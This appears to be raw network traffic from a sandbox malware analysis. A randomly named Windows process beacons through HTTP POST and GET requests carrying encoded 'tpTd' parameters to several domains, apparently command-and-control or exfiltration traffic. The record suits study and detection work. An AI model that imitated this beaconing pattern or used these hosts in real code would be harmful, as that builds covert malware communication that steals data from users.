4b 56 6e 4a 51 3d 3d Data Ascii: tpTd=gu6he7xKy/oLf8b2QMkFnjPuDSMBXLFuxJHcMRA6Xsnawg8AEr5gLEYcY1/bFXLSP9dU3jw1adZO0LlnRGwJEW9TDI6HyHF18vSbdoG6g+pCOV8iiuLfhoHPFqxAut1DoVlfY+5IsjWZLFAviDBgrp6mcuMRh7faK5xfiSnazXR8Ci1CnAgQzAQkCiA1s8cBV1xfx0eL6Vdx4KVnJQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	60715	3.33.130.190	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:24.727288008 CEST	1798	OUT	POST /itly/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.childlesscatlady.today Origin: http://www.childlesscatlady.today Cache-Control: max-age=0 Content-Length: 1229 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.childlesscatlady.today/itly/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 67 75 36 68 65 37 78 4b 79 2f 6f 4c 66 38 62 32 51 4d 6b 46 6e 6a 50 75 44 53 4d 42 58 4c 46 75 78 4a 48 63 4d 52 41 36 58 73 2f 61 77 53 6b 41 46 4b 35 67 49 45 59 63 56 56 2f 65 46 58 4c 54 50 35 4a 51 33 6a 74 43 61 66 52 4f 32 75 78 6e 58 33 77 4a 65 47 39 54 63 59 36 61 32 48 46 67 38 76 69 68 64 6f 57 36 67 2b 70 43 4f 54 34 69 72 66 4c 66 79 34 48 41 4e 4b 78 32 34 74 31 6e 6f 56 74 70 59 2b 74 59 74 58 69 5a 4c 6b 77 76 6b 31 31 67 30 5a 36 6b 64 75 4e 4d 68 37 53 41 4b 35 74 35 69 53 54 67 7a 58 70 38 53 31 46 66 6a 79 78 47 68 67 51 41 43 56 6b 54 6f 62 49 39 51 58 59 57 76 6c 2b 78 74 77 35 68 35 4f 51 30 65 50 69 5a 48 79 62 72 67 53 62 38 2f 78 69 35 70 5a 33 72 44 58 48 56 6e 37 6f 4a 58 73 36 54 59 70 48 71 52 61 50 65 44 56 37 31 58 68 55 35 4f 66 2f 42 42 4d 35 73 30 61 65 72 31 47 5a 70 79 5a 53 46 69 76 61 43 6e 4d 64 6e 2f 37 74 42 33 53 78 61 77 46 75 51 4e 61 62 41 38 59 78 41 38 75 48 6a 77 66 35 4f 66 66 56 36 4d 57 4f 34 48 59 4c 65 44 34 31 43 79 73 44 43 64 [TRUNCATED] Data Ascii: tpTd=gu6he7xKy/oLf8b2QMkFnjPuDSMBXLFuxJHcMRA6Xs/awSkAFK5gIEYcVV/eFXLTP5JQ3jtCafRO2uxnX3wJeG9TcY6a2HFg8vihdoW6g+pCOT4irfLfy4HANKx24t1noVtpY+tYtXiZLkwvk11g0Z6kduNMh7SAK5t5iSTgzXp8S1FfjyxGhgQACVkTobI9QXYWvl+xtw5h5OQ0ePiZHybrgSb8/xi5pZ3rDXHVn7oJXs6TYpHqRaPeDV71XhU5Of/BBM5s0aer1GZpyZSFivaCnMdn/7tB3SxawFuQNabA8YxA8uHjwf5OffV6MWO4HYLeD41CysDCd8PybYr5vjKac2COWL1e9Mey4op2QXkxSOgHBjGV0dxDOunrOUZhy14ccn2s2f6+dbMpsKMvbFVPoyH+y5uw1YB0Z4Zh6VUSuOeYVWv9I2DHcBkK80YMD0DqGwTpih+mp4O+905ciB7+pCAnifmZihbroVYLuAEO6YUimKxat+kuMIdBc9pkU+cAJrgcY5TQsnERjIKw283aKud350cziPWii/0iuCykIJkGAK7IE5H7qtb5Woz/tkaQCI8iIE60xx6G45FEYwxxmuR2akgs3wHph60esGJoozCwL1a2tPXeDTfL/+IKdsXY8cbC3r5bhI+1gMj5NLx0/J/epn/j27MrRyyGMbbgkmtVViMdZPhtL5iyPWzUeso0ZYXQMoXWmynr1B8xNAl041PwKHHJmwleoHeKGBLHo/QSo48FKAPwOhODdUsu8OJGL8kLc9CDzafBs2Wn721kPzWdmIkNy3ZSfLzEtjQLq/PNsTZJfoGidGiAW/TX+uJVMFP2PLAGwoBFRgsMNxkgbrsSAYeqyzQVw6APl7NnWILyQW2bvtAJoHcwJIiOPEsFNBMzAEsnJwYJimHbuhX2Jd4Btm6h0ZAbclc1zemwFTxCdgB3ZKvqRxf1WeATNZgYB6Yx2+CSqXlNmMQAL2BAFhuUPMgVsj4InRUcBHBjKq8 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	60728	3.33.130.190	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:27.265856981 CEST	483	OUT	GET /itly/?tpTd=tsSBdLA6gv84Y8GcYug/jDCyCw8YLYxClZSiOA0GXKnW8CsuEbQ9YFwfaGPSJlWcPZlV2TdpOPQww8tdSTouVEB2Caqu0WVs/8KUUJONnONwfAEA0g==&WX=rnWllP5PLlhLLtj HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.childlesscatlady.today Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Oct 8, 2024 15:34:28.650372028 CEST	395	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:34:28 GMT Content-Type: text/html Content-Length: 255 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 74 70 54 64 3d 74 73 53 42 64 4c 41 36 67 76 38 34 59 38 47 63 59 75 67 2f 6a 44 43 79 43 77 38 59 4c 59 78 43 6c 5a 53 69 4f 41 30 47 58 4b 6e 57 38 43 73 75 45 62 51 39 59 46 77 66 61 47 50 53 4a 6c 57 63 50 5a 6c 56 32 54 64 70 4f 50 51 77 77 38 74 64 53 54 6f 75 56 45 42 32 43 61 71 75 30 57 56 73 2f 38 4b 55 55 4a 4f 4e 6e 4f 4e 77 66 41 45 41 30 67 3d 3d 26 57 58 3d 72 6e 57 6c 6c 50 35 50 4c 6c 68 4c 4c 74 6a 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?tpTd=tsSBdLA6gv84Y8GcYug/jDCyCw8YLYxClZSiOA0GXKnW8CsuEbQ9YFwfaGPSJlWcPZlV2TdpOPQww8tdSTouVEB2Caqu0WVs/8KUUJONnONwfAEA0g==&WX=rnWllP5PLlhLLtj"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	60775	203.175.9.128	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:34.490788937 CEST	734	OUT	POST /7un9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.animekuid.xyz Origin: http://www.animekuid.xyz Cache-Control: max-age=0 Content-Length: 193 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.animekuid.xyz/7un9/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 31 56 6d 51 6a 64 56 69 74 79 33 32 33 6e 42 6b 67 49 56 5a 2b 65 4b 39 68 4b 52 7a 59 31 34 70 6f 49 4c 6b 76 78 6a 43 57 77 61 6c 38 78 71 68 46 42 66 6e 58 7a 77 43 47 58 44 56 52 57 48 6c 2f 30 49 72 7a 72 75 55 49 58 33 32 76 62 66 69 52 44 41 4c 6c 4a 35 58 54 43 56 4f 34 69 73 41 32 78 6d 48 42 57 47 34 49 38 45 46 65 35 79 71 63 2f 31 4b 55 6f 79 39 4b 6e 31 6e 36 45 38 2b 67 67 72 41 33 37 72 54 4f 30 63 35 6c 61 50 52 56 35 50 6c 4a 39 72 38 6e 4d 41 55 52 67 64 34 6c 72 32 66 35 4c 2f 6d 47 33 48 51 74 47 4c 31 45 68 75 51 70 32 48 35 64 55 66 4b Data Ascii: tpTd=1VmQjdVity323nBkgIVZ+eK9hKRzY14poILkvxjCWwal8xqhFBfnXzwCGXDVRWHl/0IrzruUIX32vbfiRDALlJ5XTCVO4isA2xmHBWG4I8EFe5yqc/1KUoy9Kn1n6E8+ggrA37rTO0c5laPRV5PlJ9r8nMAURgd4lr2f5L/mG3HQtGL1EhuQp2H5dUfK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	60788	203.175.9.128	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:37.040915012 CEST	758	OUT	POST /7un9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.animekuid.xyz Origin: http://www.animekuid.xyz Cache-Control: max-age=0 Content-Length: 217 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.animekuid.xyz/7un9/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 31 56 6d 51 6a 64 56 69 74 79 33 32 32 48 78 6b 6d 72 39 5a 76 75 4b 2b 2f 61 52 7a 50 6c 34 74 6f 49 48 6b 76 30 44 6f 57 6b 32 6c 38 51 61 68 45 43 48 6e 48 6a 77 43 65 48 44 51 66 32 48 71 2f 30 45 64 7a 70 36 55 49 57 58 32 76 62 76 69 52 77 6f 4b 71 35 35 56 47 79 56 4d 33 43 73 41 32 78 6d 48 42 57 54 66 49 38 4d 46 65 49 43 71 54 36 5a 46 58 6f 79 2b 64 58 31 6e 2b 45 38 41 67 67 71 56 33 36 48 39 4f 33 6b 35 6c 65 48 52 57 73 6a 69 63 4e 72 41 6a 4d 42 55 43 31 67 48 6a 6f 69 42 77 4c 33 77 52 52 58 7a 6e 48 72 72 56 54 6e 4c 38 68 48 65 61 7a 57 69 64 72 79 6a 73 49 52 63 45 6f 71 63 36 46 48 5a 4d 61 4c 42 59 67 3d 3d Data Ascii: tpTd=1VmQjdVity322Hxkmr9ZvuK+/aRzPl4toIHkv0DoWk2l8QahECHnHjwCeHDQf2Hq/0Edzp6UIWX2vbviRwoKq55VGyVM3CsA2xmHBWTfI8MFeICqT6ZFXoy+dX1n+E8AggqV36H9O3k5leHRWsjicNrAjMBUC1gHjoiBwL3wRRXznHrrVTnL8hHeazWidryjsIRcEoqc6FHZMaLBYg==
Oct 8, 2024 15:34:38.444736958 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:34:37 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://animekuid.xyz/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 9101 Content-Type: text/html; charset=UTF-8 Data Raw: 13 c4 bc 14 91 98 0f 80 8a c0 b8 89 8f 75 9e ef 3f 35 f5 ff eb 78 e6 16 fd 31 32 4f 26 5f 00 10 1b 57 99 ca b6 df c5 8e ef 66 7b 34 20 09 4a 8c b9 0d 01 59 54 14 55 fd 6f 7f d3 be bf 7c 53 b5 33 c0 08 87 d4 a9 b3 9b da 95 e2 29 76 0e b1 28 9d 2b ea bd b7 bb 9a 1f ee c6 ff ee 80 99 03 0f 9c 39 10 94 07 cc 00 a9 f1 80 0a 6f df ee df 7f 77 38 90 59 01 a4 64 c5 00 c5 08 39 84 d0 79 dc f4 29 b6 05 04 34 d4 5c e9 32 97 7e 8c 66 db 3e 4b b1 10 24 bc 7c 7f 2f 2e 5f 4e 7c de 2b 7c 62 44 60 9d f8 72 a4 df 3f 27 ae 84 44 c4 55 5e c7 63 a8 f6 be 25 1f 11 05 c1 86 ac 0f 99 8a ee 7d 4d db 18 10 5f 38 a1 ce 47 09 b0 ce af 60 93 eb da c3 57 bd 4c 8e 4c 4f 6e ae d1 99 f4 e9 bd c3 4d ff e5 0c 00 e0 72 85 8e 14 86 f9 5a 8e ba d9 8e 27 ec 6b b2 69 43 15 a3 1d 52 74 e4 95 a8 63 68 3a 75 75 94 63 5b e5 07 37 55 5f c0 cd 56 e8 07 07 b8 88 80 30 7f 3d ce 97 f0 b2 6f 3a f3 79 f7 f1 cd de cc 1e f8 d9 65 db f4 0f 30 ff 01 ec be 47 3d f4 ce 52 d2 1c d7 63 63 3b 0c 70 9f 3c 47 d6 9f 95 7f d5 ce 4c 8d 6e 9f 7d 2c 87 de a2 1a c8 [TRUNCATED] Data Ascii: u?5x12O&_Wf{4 JYTUo\|S3)v(+9ow8Yd9y)4\2~f>K$\|/._N\|+\|bD`r?'DU^c%}M_8G`WLLOnMrZ'kiCRtch:uuc[7U_V0=o:ye0G=Rcc;p<GLn},4YQq2<WTfDuUYZ+WeIlbl2[-)c}nz>0 [elu=YvR~cuBHb&xjhW=}q~;g&Qb/]wGaybk$ZT<M9Yh 2l"JQqR,P#}0J`3sv"Pf0fDRgMiN`1[}n6EAGBrNq1z!uQ^y"(w]S#(1M:1SD7XdHfj5}mvW+bzdRF]9#3;!(@Mq>n>kM/K{I;H]bLyD#*<{\
Oct 8, 2024 15:34:38.444752932 CEST	1236	IN	Data Raw: b5 6f 1c 1a 0b 6b 07 a6 44 e3 ca 4c 85 cb ca f9 ba 74 9b bd 06 f7 8a c3 25 06 6c b1 59 c6 9d 02 a5 67 46 dd 74 88 6f ba fc 28 66 af f0 cd 58 67 33 83 95 b2 4a a6 fa a8 13 79 fc d9 77 e6 b7 da f3 4f 4b 6b ac 6d 86 fe da 0d 93 de 18 6a 8d fb e8 4c Data Ascii: okDLt%lYgFto(fXg3JywOKkmjLXJwS<NOvWtZQ[tMcCmy3t57Mx9M1Not=SkuRzfd7f"0yO#y)\|u%~QtY
Oct 8, 2024 15:34:38.444762945 CEST	1236	IN	Data Raw: 4f e8 91 fb 0d aa c6 ba 20 1b 2a 19 6d 2f f0 a9 9a 07 b9 33 3b e0 74 a8 27 2e 74 db 5a bb 16 49 08 55 43 9f 6c 0e ca a8 d0 84 e8 9e ad 42 e6 72 9d f0 ea 66 e3 a9 ad f9 47 03 7f f2 69 18 86 4b a5 08 bc e5 55 93 39 f9 c9 77 81 3d 01 ce 80 69 66 3a Data Ascii: O *m/3;t'.tZIUClBrfGiKU9w=if::]%ttJ wHO,r3&{ w}5};CoV[._5\^t0rb2uK<)}8iAq=f`p&D]j"RTvu7Tj^
Oct 8, 2024 15:34:38.444848061 CEST	1236	IN	Data Raw: d9 87 68 82 fb 4f 9b 08 59 9a 2a 86 ab f1 54 a0 4f 46 21 4e 92 1a 9b eb 8e fa 12 bd 51 73 be c6 0a 9f 85 28 d1 12 d7 8f b1 e0 77 c8 f3 7b 16 c5 98 27 95 53 ff 22 17 8d a9 29 c3 31 58 2b c1 1b 98 b8 7e 82 b9 a8 0a 55 2e 33 fc d8 b8 28 4a a3 5d 53 Data Ascii: hOYTOF!NQs(w{'S")1X+~U.3(J]SqCU%xjGX9hlUBAtVY&ov2y+0y{EQ&Z^(ThixNXPq?ZIe2\|5B~ )j&p;\|\`kRdLEwD
Oct 8, 2024 15:34:38.444858074 CEST	1236	IN	Data Raw: 30 30 d4 cd 1a 35 6a 73 14 bb a4 8b 7e 00 3c 15 33 4f 5f 54 bc f8 05 4c 00 fb fa 7f 6b 57 6e 09 29 43 09 7b 73 c2 24 06 1d dc 59 f6 6f 25 df 9a d6 60 36 70 76 15 4e c5 90 88 cf 29 62 b3 56 14 64 7f f8 a1 59 23 8a 49 24 fd 10 4a 57 e8 88 88 70 85 Data Ascii: 005js~<3O_TLkWn)C{s$Yo%`6pvN)bVdY#I$JWp'j@`.bKia5Jd#Xi 3p.Y5"VLo.`RS-={lKn/^2lcai>B\bA=n[vKs*JM2+'!"V
Oct 8, 2024 15:34:38.444864035 CEST	1236	IN	Data Raw: b1 17 76 af 39 57 de b9 16 ef c3 19 17 bb 50 56 4b 2e 24 f9 28 80 46 27 34 e5 a2 1e 12 92 af 9c 4c 4b 67 bf 75 d6 ba 75 a9 a7 ab ee 4a 45 3a 17 b9 39 ca 7a 0c 2b 11 3b 32 aa 47 58 0f b1 1d 7e 58 79 ee 78 29 63 18 a6 72 50 f8 93 bb f4 23 45 99 23 Data Ascii: v9WPVK.$(F'4LKguuJE:9z+;2GX~Xyx)crP#E#zb*IpJg;X<qQ`CqAYbzJaD]/WuGX.X_Du/XJ#C&_s=# -iDz'dq>4-R}BQ"-2.TAJ
Oct 8, 2024 15:34:38.444875002 CEST	1236	IN	Data Raw: a1 f1 84 80 e1 4d a2 50 25 40 51 b5 94 c3 c5 02 26 b7 dd 22 99 47 6f 73 d5 16 d8 a0 7e 55 7d 65 62 50 5f 76 30 c2 60 72 10 13 67 1d ea f6 69 f8 1d 88 45 af e9 b3 4f 54 21 55 e1 d1 79 7e 45 64 00 08 54 bc af b0 a5 64 ca 13 d0 33 54 26 1b 91 50 a1 Data Ascii: MP%@Q&"Gos~U}ebP_v0`rgiEOT!Uy~EdTd3T&PtH{{!tsUFNJGH%Z-cR!VL@>[8=gq@)/,$}/\F4JK*SpFB=JQ21F-IdL&q<)t^2R7
Oct 8, 2024 15:34:38.445055962 CEST	839	IN	Data Raw: 27 20 96 fe e5 35 45 5a 78 fc 91 cd e5 63 42 c9 f9 fd ca 66 fd 72 4d 52 4a 16 93 ac 95 fb 58 41 a4 69 1d 30 35 d2 a6 66 bb 75 a1 2a 9e f6 37 00 fe e8 7a 44 6c a2 d8 2e 2a c4 a0 0e 02 00 b9 dc 28 39 79 77 60 8c 42 06 36 75 9b 73 9d d8 2e 6d 1d 39 Data Ascii: ' 5EZxcBfrMRJXAi05fu7zDl.(9yw`B6us.m9(2gh_>^w"iX9iCqG2xixvi?N}x 3N2db&m[1g l3zpkam{Xv`!Ia:\V/ZLc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	60807	203.175.9.128	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:39.583482981 CEST	1771	OUT	POST /7un9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.animekuid.xyz Origin: http://www.animekuid.xyz Cache-Control: max-age=0 Content-Length: 1229 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.animekuid.xyz/7un9/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 31 56 6d 51 6a 64 56 69 74 79 33 32 32 48 78 6b 6d 72 39 5a 76 75 4b 2b 2f 61 52 7a 50 6c 34 74 6f 49 48 6b 76 30 44 6f 57 6b 2b 6c 38 47 6d 68 46 6a 48 6e 56 7a 77 43 41 58 44 52 66 32 48 7a 2f 77 70 55 7a 70 33 68 49 54 54 32 76 34 6e 69 58 42 6f 4b 39 4a 35 56 5a 69 56 50 34 69 73 56 32 79 65 44 42 57 44 66 49 38 4d 46 65 4b 61 71 58 76 31 46 52 6f 79 39 4b 6e 31 56 36 45 38 37 67 67 7a 69 33 36 43 49 4a 48 45 35 6c 2f 37 52 55 61 58 69 65 74 72 34 6b 4d 42 36 43 31 6b 6d 6a 6f 75 72 77 49 72 65 52 57 6a 7a 6e 79 65 75 43 33 37 6d 6e 43 37 4c 65 55 36 68 63 63 4f 41 6e 35 73 41 53 61 43 62 70 41 71 36 49 75 61 6d 49 61 43 77 6a 2b 66 6a 72 7a 69 65 4b 41 6a 50 57 6d 30 65 74 42 72 44 6e 37 2b 4c 76 56 62 54 68 62 30 67 72 78 46 67 64 63 51 34 6a 74 49 52 2b 74 49 4e 79 6a 34 48 49 6f 6e 35 62 52 38 51 56 59 55 33 59 30 70 2f 51 6a 78 47 57 57 2b 62 78 46 70 37 6a 69 6a 72 67 36 53 62 76 75 71 6a 30 36 45 64 79 6b 69 51 4a 49 79 36 56 43 75 4d 67 37 48 6b 55 78 36 4f 58 6c 5a 77 47 [TRUNCATED] Data Ascii: tpTd=1VmQjdVity322Hxkmr9ZvuK+/aRzPl4toIHkv0DoWk+l8GmhFjHnVzwCAXDRf2Hz/wpUzp3hITT2v4niXBoK9J5VZiVP4isV2yeDBWDfI8MFeKaqXv1FRoy9Kn1V6E87ggzi36CIJHE5l/7RUaXietr4kMB6C1kmjourwIreRWjznyeuC37mnC7LeU6hccOAn5sASaCbpAq6IuamIaCwj+fjrzieKAjPWm0etBrDn7+LvVbThb0grxFgdcQ4jtIR+tINyj4HIon5bR8QVYU3Y0p/QjxGWW+bxFp7jijrg6Sbvuqj06EdykiQJIy6VCuMg7HkUx6OXlZwGyS0TLp/oNMBTcEuVGI+rmTxO7CICWwq3nGieml721iUNa+lVpeWpZ2WEMdjiwbumK+/OzUlQGkOnaoL/L5aIXScXQRqEm310GGceFv7kfEtc+Y8FAlwAGZxrDBuZjXnyjE3Yh0yfSXygdYGjFYnrAl8OVSmTO3vsE8KCNXtGztZw1cnNDwi5NI1yszlOD6zy+ukmKtlKaO2/aTEIMqWTvJuZ6oG6/rNgaES2TcBaNJLcDdNcCmb6xkxPKkn06shGX8X/b0vzZxWwkn5sKcbyYaQFkQZrsasLtn8wOJ7UyXOcIyeh800NSnssIEYNokYSPEc0UKFffLZ99ZSjMVnMs/9Dme9+oBEX/NhvseLB94Qfx3UlIJEWEJjDNxsTUyT8JdDPcI6dMYZCyXCHhhoYSDa9mEC/x5OkybbCwA92y2R0t4dwNhrGrSoxo3u/z/ajyxucI4SU3TZ4c0dLgOAB+euUQCDpuDY96QkMZ3u0ZJmJU3KtG2X0iLwO7vwQc7qkjuv8+rtosXK9ko6+f519CGrzJdj+UQCDbfi8ewZE/gHIljXUN0RcKyQxTtkyY2w6MwYk+YlvtNE/wz6SmloHvLVCWAN5aeUAaH2gzPnwgLgjlW+TnTb7ao/vAqnDXLaa91rQYCJoJWUXuvV85rWRRShaTamGMzTn68 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	60821	203.175.9.128	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:42.125914097 CEST	474	OUT	GET /7un9/?tpTd=4XOwgplivDvk/EZOubh+oM7E4qBWP2ACvZmroFPOKBmtqB+PCSuAHgoGD1T4VUWf5wIO7JPBcjeVh4zPUWd0ua1JHgAe3g4A1TGkBV6DNuNtOYfRKw==&WX=rnWllP5PLlhLLtj HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.animekuid.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Oct 8, 2024 15:34:43.493650913 CEST	521	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 08 Oct 2024 13:34:42 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://animekuid.xyz/7un9/?tpTd=4XOwgplivDvk/EZOubh+oM7E4qBWP2ACvZmroFPOKBmtqB+PCSuAHgoGD1T4VUWf5wIO7JPBcjeVh4zPUWd0ua1JHgAe3g4A1TGkBV6DNuNtOYfRKw==&WX=rnWllP5PLlhLLtj Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Oct 8, 2024 15:34:43.504765987 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	60832	3.33.130.190	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:48.552954912 CEST	740	OUT	POST /szy7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.doggieradio.net Origin: http://www.doggieradio.net Cache-Control: max-age=0 Content-Length: 193 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.doggieradio.net/szy7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 48 2b 35 62 52 53 71 30 4e 72 68 68 70 7a 4f 79 55 78 2f 6f 45 67 75 76 79 30 75 41 38 46 42 63 6f 2b 77 6d 4a 53 41 74 4f 47 5a 71 6e 64 64 79 67 6d 38 41 54 4c 6a 6e 2b 39 4c 46 56 62 76 64 47 39 7a 76 70 32 46 62 5a 6e 57 59 39 76 4c 44 4a 67 77 73 6e 42 4c 75 31 4f 62 47 32 5a 74 35 6f 75 2f 65 55 76 4b 64 49 6a 67 74 36 5a 44 49 66 38 68 6d 6d 2f 6a 55 33 34 49 75 4c 65 77 6a 44 34 44 62 38 6d 76 72 76 4c 76 5a 72 49 58 4a 6e 43 62 70 73 55 31 6f 6b 79 57 4c 58 36 61 4e 77 7a 6d 66 66 4d 77 58 4f 57 58 51 79 55 6d 56 46 44 58 77 74 62 44 30 74 63 62 42 Data Ascii: tpTd=H+5bRSq0NrhhpzOyUx/oEguvy0uA8FBco+wmJSAtOGZqnddygm8ATLjn+9LFVbvdG9zvp2FbZnWY9vLDJgwsnBLu1ObG2Zt5ou/eUvKdIjgt6ZDIf8hmm/jU34IuLewjD4Db8mvrvLvZrIXJnCbpsU1okyWLX6aNwzmffMwXOWXQyUmVFDXwtbD0tcbB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	60833	3.33.130.190	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:34:51.098999977 CEST	764	OUT	POST /szy7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.doggieradio.net Origin: http://www.doggieradio.net Cache-Control: max-age=0 Content-Length: 217 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.doggieradio.net/szy7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 48 2b 35 62 52 53 71 30 4e 72 68 68 6f 54 65 79 58 51 2f 6f 55 77 75 73 72 30 75 41 32 6c 42 51 6f 2b 38 6d 4a 54 30 39 4f 7a 4a 71 6e 38 74 79 68 69 67 41 61 62 6a 6e 31 64 4c 63 49 72 75 54 47 39 2f 52 70 7a 39 62 5a 6e 43 59 39 75 58 44 4f 58 4d 72 6f 78 4c 73 34 75 62 45 79 5a 74 35 6f 75 2f 65 55 73 32 33 49 6c 49 74 6d 35 54 49 5a 64 68 6c 6c 2f 6a 62 79 34 49 75 61 4f 77 76 44 34 44 31 38 69 75 38 76 49 58 5a 72 4d 54 4a 67 58 6e 75 6c 55 31 75 71 53 58 31 59 2f 6e 68 76 52 6d 43 53 66 51 77 59 47 44 47 38 56 47 4c 55 78 65 72 34 4d 44 54 71 37 53 70 47 32 79 59 72 4f 2f 2b 2b 72 70 5a 53 48 35 69 4c 52 54 49 5a 67 3d 3d Data Ascii: 